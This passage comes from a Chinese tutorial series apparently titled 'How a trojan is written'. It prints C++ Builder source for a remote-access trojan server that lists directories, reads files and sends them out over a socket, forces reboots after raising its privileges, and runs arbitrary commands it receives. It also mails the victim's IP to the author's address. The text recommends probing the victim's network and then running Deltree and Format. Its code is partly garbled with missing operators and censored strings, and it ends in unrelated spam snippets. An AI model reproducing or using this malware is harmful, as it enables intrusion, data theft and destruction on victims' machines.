file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的 *** 状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NM *** TP1-Connected) NM *** TP1-Disconnect();
file://如果 *** TP服务器已连接则断开
NM *** TP1-Host = " *** tp.163.net";
file://选一个好用的 *** TP服务器,如163、263、sina和btamail
NM *** TP1-UserID = "";
file://你 *** TP的ID
try
{
NM *** TP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NM *** TP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NM *** TP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NM *** TP1-PostMessage-ToAddress-Text = "cros *** ow@8848.net";
file://将信发到我的邮箱,这一步很关键
NM *** TP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NM *** TP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NM *** TP1-PostMessage-Subject = "Server Runn
爱喝茶叶的人有很多,很多人都以饮茶来进行养生,但是茶叶除了可以喝,还有一些其他的功效会被人们所忽视。 茶叶的清香想必很多人都会喜欢,这也是人们喜欢饮茶的原因之一,除了喝,茶叶去脚臭的功效你知道么...
问题在于,更细颗粒度的拜访操控战略(ACL)以及流程规范是否按照规划中的那样完好施行,能到达这点的少之又少。 这儿咱们能够运用一种更为高档的注入方法——cookie注入。 cookie注入其原...
经过OlympicDestroyer的工作,咱们发现了一个与Sofacy和BlackEnergy相关的新式安排,咱们称之为Hades。 在后续,咱们还将继续重视这些假装保护的展开状况,以及歹意安排怎么...
参加admin表5个字段其官网展现的插屏广告是在软件内的插屏,实际上在其广告SDK开发文档中,还支撑在本身软件外弹插屏广告,这也正是315曝光的展现办法#kernelv。 你找黑客是想做什不要相信自称...
避免 黑客攻击的武器装备是啥 登陆外网地址(登陆外网浏览器) 网络黑客偷刷技艺是啥 qq神器偷登陆密码怎么激活(qq神器偷登陆密码) 如何使用WiFi黑客网络 连接网络监控摄...
. 现在有很多人比较不信吃药,也觉得吃药了之后还会降低自身的抵抗力,那么得了乙型流感之后可以选择不吃药吗,乙型流感不吃药他会自己好吗,可以选择乙型流感不吃药吗,友谊长存小编为大家带来了关于乙型流感的...